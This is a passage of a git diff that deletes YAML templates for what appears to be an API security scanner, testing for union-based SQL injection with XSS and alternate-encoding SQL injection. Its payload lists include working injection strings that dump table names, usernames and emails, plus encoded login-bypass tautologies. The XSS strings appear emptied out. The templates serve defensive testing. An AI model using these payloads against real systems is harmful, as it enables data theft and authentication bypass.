- name: "Advanced Union based SQL Injection Test with XSS for GET method APIs"
- description: "The Advanced Union-Based SQL Injection Test with XSS for GET Method APIs identifies vulnerabilities in APIs where SQL injection through the `UNION` operator is combined with Cross-Site Scripting (XSS). This test targets GET method APIs to exploit input fields or parameters for SQL injection and deliver XSS payloads. Such vulnerabilities can expose sensitive data while also enabling client-side attacks, affecting both database security and user trust. Mitigation involves validating and sanitizing user input for SQL and HTML/JavaScript contexts and using secure coding practices."
- details: "The Advanced Union-Based SQL Injection Test with XSS for GET Method APIs focuses on identifying APIs vulnerable to dual-layered attacks. It tests whether SQL injection through the `UNION` operator can be used to extract sensitive data and whether XSS payloads can be injected to execute malicious scripts in a user's browser. This test examines GET method endpoints where user input is processed without adequate sanitization or validation, making them susceptible to both backend and frontend exploitation. Properly securing these APIs requires parameterized queries and input sanitization to block SQL and XSS payloads effectively."
- impact: "The impact of an Advanced Union-Based SQL Injection with XSS in GET Method APIs can be severe, as it combines backend and frontend vulnerabilities. Attackers could extract sensitive data from the database using SQL injection and execute malicious scripts via XSS, potentially compromising user accounts or stealing session tokens. This dual exploit amplifies the attack surface, leading to data breaches, reputational damage, and legal consequences. Implementing robust input validation, query parameterization, and secure API design is crucial to mitigate these risks."
-
- category:
- name: NO_AUTH
- shortName: Broken Authentication
- displayName: Broken User Authentication (BUA)
- subCategory: ADV_UNION_BASED_SQLI_XSS_POST
- severity: MEDIUM
- tags:
- - Business logic
- - OWASP top 10
- - HackerOne top 10
- references:
- - "https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/"
- - "https://github.com/OWASP/API-Security/blob/master/editions/2023/en/0xa2-broken-authentication.md"
- - "https://cheatsheetseries.owasp.org/cheatsheets/Authentication_Cheat_Sheet.html"
- cwe:
- - CWE-287
- cve:
- - CVE-2020-24008
- - CVE-2021-45901
-
-attributes:
- nature: INTRUSIVE
- plan: PRO
- duration: FAST
-
-
-api_selection_filters:
- response_code:
- gte: 200
- lt: 300
- method:
- eq: GET
- response_payload:
- length:
- gt: 0
- not_contains:
- - Error
- - Internal Server
- - Fail
- - Unauthorized
- - access denied
- - Forbidden
- - Method Not allowed
- - Gateway timeout
- - request timeout
- - server error
- - server busy
- - authentication error
- - authorization error
- - validation error
- - Permission Denied
- - invalid token
- - token expired
- - session expired
- - session timeout
- - unexpected error
- - unable to process request
- - bad request
- - service unavailable
- - account is locked
- - account is blocked
- - multiple failed attempts
- -
- -
-
- query_param:
- for_one:
- key:
- regex: ".*"
- extract: userKey
- value:
- extract: userVal
-wordLists:
- advUnionXSSPayloads:
- - "' UNION SELECT 1, (SELECT CONCAT('', database())), 3--"
- - "' UNION SELECT 1, (SELECT GROUP_CONCAT(table_name SEPARATOR ', ') FROM information_schema.tables WHERE table_schema=database()), ''--"
- - "' UNION SELECT 1, (SELECT GROUP_CONCAT(column_name SEPARATOR ', ') FROM information_schema.columns WHERE table_name='users'), ''--"
- - "' UNION SELECT 1, (SELECT GROUP_CONCAT(username SEPARATOR ', ') FROM users), ''--"
- - "' UNION SELECT 1, (SELECT CONCAT('
', email) FROM users), 3--"
- - "' UNION SELECT 1, (SELECT IF(1=1, (SELECT table_name FROM information_schema.tables LIMIT 1), 1/0)), ''--"
- advUnionXSSNegativePayloads:
- - "' UNION SELECT 1, (SELECT CONCAT('', database())), 3 WHERE 1=0--"
- - "' UNION SELECT 1, (SELECT GROUP_CONCAT(table_name SEPARATOR ', ') FROM information_schema.tables WHERE table_schema=database()), '' WHERE 1=0--"
- - "' UNION SELECT 1, (SELECT GROUP_CONCAT(column_name SEPARATOR ', ') FROM information_schema.columns WHERE table_name='users'), '' WHERE 1=0--"
- - "' UNION SELECT 1, (SELECT GROUP_CONCAT(username SEPARATOR ', ') FROM users), ''--"
- - "' UNION SELECT 1, (SELECT CONCAT('
', email) FROM users), 3 WHERE 1=0--"
- - "' UNION SELECT 1, (SELECT IF(1=1, (SELECT table_name FROM information_schema.tables LIMIT 1), 1/0)), '' WHERE 1=0--"
-execute:
- type: multiple
- requests:
- - req:
- - modify_query_param:
- userKey: ${userVal}${advUnionXSSPayloads}
- - validate:
- response_code:
- gte: 200
- lt: 300
- response_payload:
- length:
- gt: 0
- contains_either:
- - ""
- - ""
- - ""
- - ""
- - "
"
- - ""
- not_contains:
- - Error
- - Internal Server
- - Fail
- - Unauthorized
- - access denied
- - Forbidden
- - Method Not allowed
- - Gateway timeout
- - request timeout
- - server error
- - server busy
- - authentication error
- - authorization error
- - validation error
- - Permission Denied
- - invalid
- - token expired
- - session expired
- - session timeout
- - unexpected error
- - unable to process request
- - bad request
- - service unavailable
- - account is locked
- - account is blocked
- - multiple failed attempts
- - Attention Required!
- - CloudFlare
- - Sorry, you have been blocked
- - UNION
- - SELECT
-
- - success: x2
- - failure: exit
- - req:
- - modify_query_param:
- userKey: ${userVal}${advUnionXSSNegativePayloads}
- - validate:
- response_code:
- gte: 200
- lt: 300
- response_payload:
- length:
- gt: 0
- not_contains:
- - Error
- - Internal Server
- - Fail
- - Unauthorized
- - access denied
- - Forbidden
- - Method Not allowed
- - Gateway timeout
- - request timeout
- - server error
- - server busy
- - authentication error
- - authorization error
- - validation error
- - Permission Denied
- - invalid
- - token expired
- - session expired
- - session timeout
- - unexpected error
- - unable to process request
- - bad request
- - service unavailable
- - account is locked
- - account is blocked
- - multiple failed attempts
- - Attention Required!
- - CloudFlare
- - Sorry, you have been blocked
- - UNION
- - SELECT
- - ""
- - ""
- - ""
- - ""
- - "
"
- - ""
- neq_obj: "${x1.response.body}"
- - success: x3
- - failure: exit
- - req:
- - modify_query_param:
- userKey: ${userVal}${advUnionXSSNegativePayloads}
- - validate:
- response_code:
- gte: 200
- lt: 300
- response_payload:
- length:
- gt: 0
- not_contains:
- - Error
- - Internal Server
- - Fail
- - Unauthorized
- - access denied
- - Forbidden
- - Method Not allowed
- - Gateway timeout
- - request timeout
- - server error
- - server busy
- - authentication error
- - authorization error
- - validation error
- - Permission Denied
- - invalid
- - token expired
- - session expired
- - session timeout
- - unexpected error
- - unable to process request
- - bad request
- - service unavailable
- - account is locked
- - account is blocked
- - multiple failed attempts
- - Attention Required!
- - CloudFlare
- - Sorry, you have been blocked
- - UNION
- - SELECT
- - ""
- - ""
- - ""
- - ""
- - "
"
- - ""
- eq_obj: "${x2.response.body}"
- - success: vulnerable
- - failure: exit
diff --git a/Broken-User-Authentication/AdvancedUnionBasedSQLiXSSPOST.yml b/Broken-User-Authentication/AdvancedUnionBasedSQLiXSSPOST.yml
deleted file mode 100644
index b8fa4414..00000000
--- a/Broken-User-Authentication/AdvancedUnionBasedSQLiXSSPOST.yml
+++ /dev/null
@@ -1,251 +0,0 @@
-id: ADV_UNION_BASED_SQLI_XSS_POST
-info:
- name: "Advanced Union based SQL Injection Test with XSS for POST method APIs"
- description: "The Advanced Union-Based SQL Injection Test with XSS for POST Method APIs identifies vulnerabilities in APIs where SQL injection through the `UNION` operator is combined with Cross-Site Scripting (XSS). This test targets POST method APIs to exploit input fields or parameters for SQL injection and deliver XSS payloads. Such vulnerabilities can expose sensitive data while also enabling client-side attacks, affecting both database security and user trust. Mitigation involves validating and sanitizing user input for SQL and HTML/JavaScript contexts and using secure coding practices."
- details: "The Advanced Union-Based SQL Injection Test with XSS for POST Method APIs focuses on identifying APIs vulnerable to dual-layered attacks. It tests whether SQL injection through the `UNION` operator can be used to extract sensitive data and whether XSS payloads can be injected to execute malicious scripts in a user's browser. This test examines POST method endpoints where user input is processed without adequate sanitization or validation, making them susceptible to both backend and frontend exploitation. Properly securing these APIs requires parameterized queries and input sanitization to block SQL and XSS payloads effectively."
- impact: "The impact of an Advanced Union-Based SQL Injection with XSS in POST Method APIs can be severe, as it combines backend and frontend vulnerabilities. Attackers could extract sensitive data from the database using SQL injection and execute malicious scripts via XSS, potentially compromising user accounts or stealing session tokens. This dual exploit amplifies the attack surface, leading to data breaches, reputational damage, and legal consequences. Implementing robust input validation, query parameterization, and secure API design is crucial to mitigate these risks."
-
- category:
- name: NO_AUTH
- shortName: Broken Authentication
- displayName: Broken User Authentication (BUA)
- subCategory: ADV_UNION_BASED_SQLI_XSS_POST
- severity: MEDIUM
- tags:
- - Business logic
- - OWASP top 10
- - HackerOne top 10
- references:
- - "https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/"
- - "https://github.com/OWASP/API-Security/blob/master/editions/2023/en/0xa2-broken-authentication.md"
- - "https://cheatsheetseries.owasp.org/cheatsheets/Authentication_Cheat_Sheet.html"
- cwe:
- - CWE-287
- cve:
- - CVE-2020-24008
- - CVE-2021-45901
-
-attributes:
- nature: INTRUSIVE
- plan: PRO
- duration: FAST
-
-
-api_selection_filters:
- response_code:
- gte: 200
- lt: 300
- method:
- eq: POST
- response_payload:
- length:
- gt: 0
- not_contains:
- - Error
- - Internal Server
- - Fail
- - Unauthorized
- - access denied
- - Forbidden
- - Method Not allowed
- - Gateway timeout
- - request timeout
- - server error
- - server busy
- - authentication error
- - authorization error
- - validation error
- - Permission Denied
- - invalid token
- - token expired
- - session expired
- - session timeout
- - unexpected error
- - unable to process request
- - bad request
- - service unavailable
- - account is locked
- - account is blocked
- - multiple failed attempts
- -
- -
-
- request_payload:
- for_one:
- key:
- regex: ".*"
- extract: userKey
- value:
- extract: userVal
-wordLists:
- advUnionXSSPayloads:
- - "' UNION SELECT 1, (SELECT CONCAT('', database())), 3--"
- - "' UNION SELECT 1, (SELECT GROUP_CONCAT(table_name SEPARATOR ', ') FROM information_schema.tables WHERE table_schema=database()), ''--"
- - "' UNION SELECT 1, (SELECT GROUP_CONCAT(column_name SEPARATOR ', ') FROM information_schema.columns WHERE table_name='users'), ''--"
- - "' UNION SELECT 1, (SELECT GROUP_CONCAT(username SEPARATOR ', ') FROM users), ''--"
- - "' UNION SELECT 1, (SELECT CONCAT('
', email) FROM users), 3--"
- - "' UNION SELECT 1, (SELECT IF(1=1, (SELECT table_name FROM information_schema.tables LIMIT 1), 1/0)), ''--"
- advUnionXSSNegativePayloads:
- - "' UNION SELECT 1, (SELECT CONCAT('', database())), 3 WHERE 1=0--"
- - "' UNION SELECT 1, (SELECT GROUP_CONCAT(table_name SEPARATOR ', ') FROM information_schema.tables WHERE table_schema=database()), '' WHERE 1=0--"
- - "' UNION SELECT 1, (SELECT GROUP_CONCAT(column_name SEPARATOR ', ') FROM information_schema.columns WHERE table_name='users'), '' WHERE 1=0--"
- - "' UNION SELECT 1, (SELECT GROUP_CONCAT(username SEPARATOR ', ') FROM users), ''--"
- - "' UNION SELECT 1, (SELECT CONCAT('
', email) FROM users), 3 WHERE 1=0--"
- - "' UNION SELECT 1, (SELECT IF(1=1, (SELECT table_name FROM information_schema.tables LIMIT 1), 1/0)), '' WHERE 1=0--"
-execute:
- type: multiple
- requests:
- - req:
- - modify_body_param:
- userKey: ${userVal}${advUnionXSSPayloads}
- - validate:
- response_code:
- gte: 200
- lt: 300
- response_payload:
- length:
- gt: 0
- contains_either:
- - ""
- - ""
- - ""
- - ""
- - "
"
- - ""
- not_contains:
- - Error
- - Internal Server
- - Fail
- - Unauthorized
- - access denied
- - Forbidden
- - Method Not allowed
- - Gateway timeout
- - request timeout
- - server error
- - server busy
- - authentication error
- - authorization error
- - validation error
- - Permission Denied
- - invalid
- - token expired
- - session expired
- - session timeout
- - unexpected error
- - unable to process request
- - bad request
- - service unavailable
- - account is locked
- - account is blocked
- - multiple failed attempts
- - Attention Required!
- - CloudFlare
- - Sorry, you have been blocked
- - UNION
- - SELECT
-
- - success: x2
- - failure: exit
- - req:
- - modify_body_param:
- userKey: ${userVal}${advUnionXSSNegativePayloads}
- - validate:
- response_code:
- gte: 200
- lt: 300
- response_payload:
- length:
- gt: 0
- not_contains:
- - Error
- - Internal Server
- - Fail
- - Unauthorized
- - access denied
- - Forbidden
- - Method Not allowed
- - Gateway timeout
- - request timeout
- - server error
- - server busy
- - authentication error
- - authorization error
- - validation error
- - Permission Denied
- - invalid
- - token expired
- - session expired
- - session timeout
- - unexpected error
- - unable to process request
- - bad request
- - service unavailable
- - account is locked
- - account is blocked
- - multiple failed attempts
- - Attention Required!
- - CloudFlare
- - Sorry, you have been blocked
- - UNION
- - SELECT
- - ""
- - ""
- - ""
- - ""
- - "
"
- - ""
- neq_obj: "${x1.response.body}"
- - success: x3
- - failure: exit
- - req:
- - modify_body_param:
- userKey: ${userVal}${advUnionXSSNegativePayloads}
- - validate:
- response_code:
- gte: 200
- lt: 300
- response_payload:
- length:
- gt: 0
- not_contains:
- - Error
- - Internal Server
- - Fail
- - Unauthorized
- - access denied
- - Forbidden
- - Method Not allowed
- - Gateway timeout
- - request timeout
- - server error
- - server busy
- - authentication error
- - authorization error
- - validation error
- - Permission Denied
- - invalid
- - token expired
- - session expired
- - session timeout
- - unexpected error
- - unable to process request
- - bad request
- - service unavailable
- - account is locked
- - account is blocked
- - multiple failed attempts
- - Attention Required!
- - CloudFlare
- - Sorry, you have been blocked
- - UNION
- - SELECT
- - ""
- - ""
- - ""
- - ""
- - "
"
- - ""
- eq_obj: "${x2.response.body}"
- - success: vulnerable
- - failure: exit
diff --git a/Broken-User-Authentication/AlternateEncodingSQLi.yml b/Broken-User-Authentication/AlternateEncodingSQLi.yml
deleted file mode 100644
index 0e7139f8..00000000
--- a/Broken-User-Authentication/AlternateEncodingSQLi.yml
+++ /dev/null
@@ -1,229 +0,0 @@
-id: ALTERNATE_ENCODING_SQL_INJECTION
-info:
- name: "SQL Injection test using Alternate Encoding"
- description: >
- "SQL injection using alternate encoding involves exploiting vulnerabilities by bypassing input filters and security mechanisms that traditionally block or sanitize SQL injection attempts. Attackers use encoding techniques such as UTF-8, Unicode, or other character sets to evade detection and inject malicious SQL queries into vulnerable applications. This method aims to deceive input validation checks and execute unauthorized SQL commands, potentially compromising the confidentiality, integrity, and availability of the database and the application."
- details: >
- "SQL injection using alternate encoding is a technique where attackers manipulate input data using different character encodings (e.g., UTF-8, Unicode) to evade detection by security filters. By encoding special characters, attackers bypass input validation mechanisms and inject malicious SQL queries into vulnerable applications. This method aims to exploit weaknesses in how input data is processed, potentially leading to unauthorized access, data leakage, or database manipulation."
- impact: >
- "The impact of SQL injection using alternate encoding can be significant, allowing attackers to bypass security measures and execute unauthorized SQL commands. This can lead to data breaches, unauthorized access to sensitive information, and manipulation or deletion of critical data within the database. Additionally, such attacks can compromise the integrity and availability of the application and its associated services, posing serious risks to the organization's operations and reputation."
-
- category:
- name: NO_AUTH
- shortName: Broken Authentication
- displayName: Broken User Authentication (BUA)
- subCategory: ALTERNATE_ENCODING_SQL_INJECTION
- severity: MEDIUM
- tags:
- - Business logic
- - OWASP top 10
- - HackerOne top 10
- references:
- - "https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/"
- - "https://github.com/OWASP/API-Security/blob/master/editions/2023/en/0xa2-broken-authentication.md"
- - "https://cheatsheetseries.owasp.org/cheatsheets/Authentication_Cheat_Sheet.html"
- cwe:
- - CWE-287
- cve:
- - CVE-2020-24008
- - CVE-2021-45901
-
-attributes:
- nature: INTRUSIVE
- plan: PRO
- duration: FAST
-
-
-api_selection_filters:
- response_code:
- gte: 200
- lt: 300
- method:
- neq: "OPTIONS"
- response_payload:
- length:
- gt: 0
- not_contains:
- - Error
- - Internal Server
- - Failed
- - Unauthorized
- - access denied
- - Forbidden
- - Method Not allowed
- - Gateway timeout
- - request timeout
- - server error
- - server busy
- - authentication error
- - authorization error
- - validation error
- - Permission Denied
- - invalid token
- - token expired
- - session expired
- - session timeout
- - unexpected error
- - unable to process request
- - bad request
- - service unavailable
- - account is locked
- - account is blocked
- - multiple failed attempts
- -
- -
- url:
- contains_either:
- - login
- - signin
- - authenticate
- - auth
- request_payload:
- for_one:
- key:
- regex: "username|^user$|^userid$|^user_id$|^login$|^login_id$|email|^account$|^account_id$|^member$|^member_id$|^id$|^user_name$|^uname$|^identifier$|^user_identifier$|^admin$|^nick$|^nickname$|^handle$|^alias$|^principal$|^profile$|^profile_id$|^name$|^signin$|^auth$|^credential$|^user_login$|^user_account$|^user_email$|^employee$|^employee_id$|^operator$|^customer_id$|^client_id$|^subscriber$|^subscriber_id$|^participant$|^participant_id$|^client_id$|^userLoginID$|^client-name$"
- extract: userKey
- value:
- extract: userVal
-wordLists:
- encodingPayloads:
- - "' OR 0x31=0x31"
- - " dXNlcidvciAnMQ=="
- - "' OR '1'='1"
- - "' OR U&'\\0061'='a"
- - "%27%20OR%20%271%27%3D%271"
- - "' OR ASCII('1')=49"
- - "' OR 1=1 -- -"
- encodingNegativePayloads:
- - "' OR 0x31<>0x31"
- - " JyBvciAxPTAtLQ=="
- - "' OR '1'<>'1"
- - "' OR U&'\\0061'<>'a"
- - "%27%20OR%20%271%27%3D%270"
- - "' OR ASCII('1')<>49"
- - "' OR 1<>1 -- -"
-execute:
- type: multiple
- requests:
- - req:
- - modify_body_param:
- userKey: ${userVal}${encodingPayloads}
- - validate:
- response_code:
- gte: 200
- lt: 300
- response_payload:
- length:
- gt: 0
- not_contains:
- - Error
- - Internal Server
- - Failed
- - Unauthorized
- - access denied
- - Forbidden
- - Method Not allowed
- - Gateway timeout
- - request timeout
- - server error
- - server busy
- - authentication error
- - authorization error
- - validation error
- - Permission Denied
- - invalid token
- - token expired
- - session expired
- - session timeout
- - unexpected error
- - unable to process request
- - bad request
- - service unavailable
- - account is locked
- - account is blocked
- - multiple failed attempts
- - " OR "
- - success: x2
- - failure: exit
- - req:
- - modify_body_param:
- userKey: ${userVal}${encodingNegativePayloads}
- - validate:
- response_code:
- gte: 200
- lt: 300
- response_payload:
- length:
- gt: 0
- not_contains:
- - Error
- - Internal Server
- - Failed
- - Unauthorized
- - access denied
- - Forbidden
- - Method Not allowed
- - Gateway timeout
- - request timeout
- - server error
- - server busy
- - authentication error
- - authorization error
- - validation error
- - Permission Denied
- - invalid token
- - token expired
- - session expired
- - session timeout
- - unexpected error
- - unable to process request
- - bad request
- - service unavailable
- - account is locked
- - account is blocked
- - multiple failed attempts
- - " OR "
- neq_obj: "${x1.response.body}"
- - success: x3
- - failure: exit
- - req:
- - modify_body_param:
- userKey: ${userVal}${encodingNegativePayloads}
- - validate:
- response_code:
- gte: 200
- lt: 300
- response_payload:
- length:
- gt: 0
- not_contains:
- - Error
- - Internal Server
- - Failed
- - Unauthorized
- - access denied
- - Forbidden
- - Method Not allowed
- - Gateway timeout
- - request timeout
- - server error
- - server busy
- - authentication error
- - authorization error
- - validation error
- - Permission Denied
- - invalid token
- - token expired
- - session expired
- - session timeout
- - unexpected error
- - unable to process request
- - bad request
- - service unavailable
- - account is locked
- - account is blocked
- - multiple failed attempts
- - " OR "
- eq_obj: "${x2.response.body}"
- - success: vulnerable
- - failure: exit
\ No newline at end of file
diff --git a/Broken-User-Authentication/AlternateEncodingSQLiGET.yml b/Broken-User-Authentication/AlternateEncodingSQLiGET.yml
deleted file mode 100644
index 3d0fcf47..00000000
--- a/Broken-User-Authentication/AlternateEncodingSQLiGET.yml
+++ /dev/null
@@ -1,220 +0,0 @@
-id: ALTERNATE_ENCODING_SQLI_GET
-info:
- name: "SQL Injection test using Alternate Encoding for GET method APIs"
- description: "The SQL Injection Test Using Alternate Encoding for GET Method APIs identifies vulnerabilities where attackers bypass standard input validation by using alternate encoding techniques. These include URL encoding, Unicode, or hexadecimal representations to inject malicious SQL queries into GET method APIs. This approach evades simple filtering mechanisms, allowing unauthorized database access or manipulation. Properly decoding and validating all input is critical to mitigate such attacks."
- details: "The SQL Injection Test Using Alternate Encoding for GET Method APIs evaluates if alternate encoding methods like URL encoding (`%27` for `'`), Unicode (`'`), or hexadecimal can bypass input sanitization mechanisms. Attackers leverage these techniques to disguise malicious SQL payloads and evade detection. This test targets GET API endpoints that handle encoded inputs without proper decoding or validation, potentially allowing unauthorized database queries. Mitigation involves decoding inputs before validation and implementing parameterized queries to ensure robust defense against injection attacks."
- impact: "The impact of the SQL Injection Test Using Alternate Encoding for GET Method APIs can be significant, as attackers could bypass input filters and inject malicious SQL queries using alternative encodings. This allows unauthorized access to or manipulation of sensitive database information, potentially leading to data breaches, loss of data integrity, and unauthorized privilege escalation. Additionally, it could result in a compromised system, leading to reputational damage and regulatory consequences. Effective mitigation requires proper decoding of inputs and securing API endpoints with parameterized queries and strong validation."
-
- category:
- name: NO_AUTH
- shortName: Broken Authentication
- displayName: Broken User Authentication (BUA)
- subCategory: ALTERNATE_ENCODING_SQLI_GET
- severity: MEDIUM
- tags:
- - Business logic
- - OWASP top 10
- - HackerOne top 10
- references:
- - "https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/"
- - "https://github.com/OWASP/API-Security/blob/master/editions/2023/en/0xa2-broken-authentication.md"
- - "https://cheatsheetseries.owasp.org/cheatsheets/Authentication_Cheat_Sheet.html"
- cwe:
- - CWE-287
- cve:
- - CVE-2020-24008
- - CVE-2021-45901
-
-attributes:
- nature: INTRUSIVE
- plan: PRO
- duration: FAST
-
-
-api_selection_filters:
- response_code:
- gte: 200
- lt: 300
- method:
- eq: "GET"
- response_payload:
- length:
- gt: 0
- not_contains:
- - Error
- - Internal Server
- - Failed
- - Unauthorized
- - access denied
- - Forbidden
- - Method Not allowed
- - Gateway timeout
- - request timeout
- - server error
- - server busy
- - authentication error
- - authorization error
- - validation error
- - Permission Denied
- - invalid token
- - token expired
- - session expired
- - session timeout
- - unexpected error
- - unable to process request
- - bad request
- - service unavailable
- - account is locked
- - account is blocked
- - multiple failed attempts
- -
- -
- query_param:
- for_one:
- key:
- regex: ".*"
- extract: userKey
- value:
- extract: userVal
-wordLists:
- encodingPayloads:
- - "' OR 0x31=0x31"
- - " dXNlcidvciAnMQ=="
- - "' OR '1'='1"
- - "' OR U&'\\0061'='a"
- - "%27%20OR%20%271%27%3D%271"
- - "' OR ASCII('1')=49"
- - "' OR 1=1 -- -"
- encodingNegativePayloads:
- - "' OR 0x31<>0x31"
- - " JyBvciAxPTAtLQ=="
- - "' OR '1'<>'1"
- - "' OR U&'\\0061'<>'a"
- - "%27%20OR%20%271%27%3D%270"
- - "' OR ASCII('1')<>49"
- - "' OR 1<>1 -- -"
-execute:
- type: multiple
- requests:
- - req:
- - modify_query_param:
- userKey: ${userVal}${encodingPayloads}
- - validate:
- response_code:
- gte: 200
- lt: 300
- response_payload:
- length:
- gt: 0
- not_contains:
- - Error
- - Internal Server
- - Failed
- - Unauthorized
- - access denied
- - Forbidden
- - Method Not allowed
- - Gateway timeout
- - request timeout
- - server error
- - server busy
- - authentication error
- - authorization error
- - validation error
- - Permission Denied
- - invalid token
- - token expired
- - session expired
- - session timeout
- - unexpected error
- - unable to process request
- - bad request
- - service unavailable
- - account is locked
- - account is blocked
- - multiple failed attempts
- - " OR "
- - success: x2
- - failure: exit
- - req:
- - modify_query_param:
- userKey: ${userVal}${encodingNegativePayloads}
- - validate:
- response_code:
- gte: 200
- lt: 300
- response_payload:
- length:
- gt: 0
- not_contains:
- - Error
- - Internal Server
- - Failed
- - Unauthorized
- - access denied
- - Forbidden
- - Method Not allowed
- - Gateway timeout
- - request timeout
- - server error
- - server busy
- - authentication error
- - authorization error
- - validation error
- - Permission Denied
- - invalid token
- - token expired
- - session expired
- - session timeout
- - unexpected error
- - unable to process request
- - bad request
- - service unavailable
- - account is locked
- - account is blocked
- - multiple failed attempts
- - " OR "
- neq_obj: "${x1.response.body}"
- - success: x3
- - failure: exit
- - req:
- - modify_query_param:
- userKey: ${userVal}${encodingNegativePayloads}
- - validate:
- response_code:
- gte: 200
- lt: 300
- response_payload:
- length:
- gt: 0
- not_contains:
- - Error
- - Internal Server
- - Failed
- - Unauthorized
- - access denied
- - Forbidden
- - Method Not allowed
- - Gateway timeout
- - request timeout
- - server error
- - server busy
- - authentication error
- - authorization error
- - validation error
- - Permission Denied
- - invalid token
- - token expired
- - session expired
- - session timeout
- - unexpected error
- - unable to process request
- - bad request
- - service unavailable
- - account is locked
- - account is blocked
- - multiple failed attempts
- - " OR "
- eq_obj: "${x2.response.body}"
- - success: vulnerable
- - failure: exit
diff --git a/Broken-User-Authentication/AlternateEncodingSQLiPOST.yml b/Broken-User-Authentication/AlternateEncodingSQLiPOST.yml
deleted file mode 100644
index 9ea6b1a7..00000000
--- a/Broken-User-Authentication/AlternateEncodingSQLiPOST.yml
+++ /dev/null
@@ -1,220 +0,0 @@
-id: ALTERNATE_ENCODING_SQLI_POST
-info:
- name: "SQL Injection test using Alternate Encoding for POST method APIs"
- description: "The SQL Injection Test Using Alternate Encoding for POST Method APIs identifies vulnerabilities where attackers bypass standard input validation by using alternate encoding techniques. These include URL encoding, Unicode, or hexadecimal representations to inject malicious SQL queries into POST method APIs. This approach evades simple filtering mechanisms, allowing unauthorized database access or manipulation. Properly decoding and validating all input is critical to mitigate such attacks."
- details: "The SQL Injection Test Using Alternate Encoding for POST Method APIs evaluates if alternate encoding methods like URL encoding (`%27` for `'`), Unicode (`'`), or hexadecimal can bypass input sanitization mechanisms. Attackers leverage these techniques to disguise malicious SQL payloads and evade detection. This test targets POST API endpoints that handle encoded inputs without proper decoding or validation, potentially allowing unauthorized database queries. Mitigation involves decoding inputs before validation and implementing parameterized queries to ensure robust defense against injection attacks."
- impact: "The impact of the SQL Injection Test Using Alternate Encoding for POST Method APIs can be significant, as attackers could bypass input filters and inject malicious SQL queries using alternative encodings. This allows unauthorized access to or manipulation of sensitive database information, potentially leading to data breaches, loss of data integrity, and unauthorized privilege escalation. Additionally, it could result in a compromised system, leading to reputational damage and regulatory consequences. Effective mitigation requires proper decoding of inputs and securing API endpoints with parameterized queries and strong validation."
-
- category:
- name: NO_AUTH
- shortName: Broken Authentication
- displayName: Broken User Authentication (BUA)
- subCategory: ALTERNATE_ENCODING_SQLI_POST
- severity: CRITICAL
- tags:
- - Business logic
- - OWASP top 10
- - HackerOne top 10
- references:
- - "https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/"
- - "https://github.com/OWASP/API-Security/blob/master/editions/2023/en/0xa2-broken-authentication.md"
- - "https://cheatsheetseries.owasp.org/cheatsheets/Authentication_Cheat_Sheet.html"
- cwe:
- - CWE-287
- cve:
- - CVE-2020-24008
- - CVE-2021-45901
-
-attributes:
- nature: INTRUSIVE
- plan: PRO
- duration: FAST
-
-
-api_selection_filters:
- response_code:
- gte: 200
- lt: 300
- method:
- eq: "POST"
- response_payload:
- length:
- gt: 0
- not_contains:
- - Error
- - Internal Server
- - Failed
- - Unauthorized
- - access denied
- - Forbidden
- - Method Not allowed
- - Gateway timeout
- - request timeout
- - server error
- - server busy
- - authentication error
- - authorization error
- - validation error
- - Permission Denied
- - invalid token
- - token expired
- - session expired
- - session timeout
- - unexpected error
- - unable to process request
- - bad request
- - service unavailable
- - account is locked
- - account is blocked
- - multiple failed attempts
- -
- -
- request_payload:
- for_one:
- key:
- regex: ".*"
- extract: userKey
- value:
- extract: userVal
-wordLists:
- encodingPayloads:
- - "' OR 0x31=0x31"
- - " dXNlcidvciAnMQ=="
- - "' OR '1'='1"
- - "' OR U&'\\0061'='a"
- - "%27%20OR%20%271%27%3D%271"
- - "' OR ASCII('1')=49"
- - "' OR 1=1 -- -"
- encodingNegativePayloads:
- - "' OR 0x31<>0x31"
- - " JyBvciAxPTAtLQ=="
- - "' OR '1'<>'1"
- - "' OR U&'\\0061'<>'a"
- - "%27%20OR%20%271%27%3D%270"
- - "' OR ASCII('1')<>49"
- - "' OR 1<>1 -- -"
-execute:
- type: multiple
- requests:
- - req:
- - modify_body_param:
- userKey: ${userVal}${encodingPayloads}
- - validate:
- response_code:
- gte: 200
- lt: 300
- response_payload:
- length:
- gt: 0
- not_contains:
- - Error
- - Internal Server
- - Failed
- - Unauthorized
- - access denied
- - Forbidden
- - Method Not allowed
- - Gateway timeout
- - request timeout
- - server error
- - server busy
- - authentication error
- - authorization error
- - validation error
- - Permission Denied
- - invalid token
- - token expired
- - session expired
- - session timeout
- - unexpected error
- - unable to process request
- - bad request
- - service unavailable
- - account is locked
- - account is blocked
- - multiple failed attempts
- - " OR "
- - success: x2
- - failure: exit
- - req:
- - modify_body_param:
- userKey: ${userVal}${encodingNegativePayloads}
- - validate:
- response_code:
- gte: 200
- lt: 300
- response_payload:
- length:
- gt: 0
- not_contains:
- - Error
- - Internal Server
- - Failed
- - Unauthorized
- - access denied
- - Forbidden
- - Method Not allowed
- - Gateway timeout
- - request timeout
- - server error
- - server busy
- - authentication error
- - authorization error
- - validation error
- - Permission Denied
- - invalid token
- - token expired
- - session expired
- - session timeout
- - unexpected error
- - unable to process request
- - bad request
- - service unavailable
- - account is locked
- - account is blocked
- - multiple failed attempts
- - " OR "
- neq_obj: "${x1.response.body}"
- - success: x3
- - failure: exit
- - req:
- - modify_body_param:
- userKey: ${userVal}${encodingNegativePayloads}
- - validate:
- response_code:
- gte: 200
- lt: 300
- response_payload:
- length:
- gt: 0
- not_contains:
- - Error
- - Internal Server
- - Failed
- - Unauthorized
- - access denied
- - Forbidden
- - Method Not allowed
- - Gateway timeout
- - request timeout
- - server error
- - server busy
- - authentication error
- - authorization error
- - validation error
- - Permission Denied
- - invalid token
- - token expired
- - session expired
- - session timeout
- - unexpected error
- - unable to process request
- - bad request
- - service unavailable
- - account is locked
- - account is blocked
- - multiple failed attempts
- - " OR "
- eq_obj: "${x2.response.body}"
- - success: vulnerable
- - failure: exit
\ No newline at end of file
diff --git a/Broken-User-Authentication/AuthBypassMultiCredentials.yml b/Broken-User-Authentication/AuthBypassMultiCredentials.yml
deleted file mode 100644
index 811397cc..00000000
--- a/Broken-User-Authentication/AuthBypassMultiCredentials.yml
+++ /dev/null
@@ -1,126 +0,0 @@
-id: AUTH_BYPASS_MULTI_CREDENTIAL
-info:
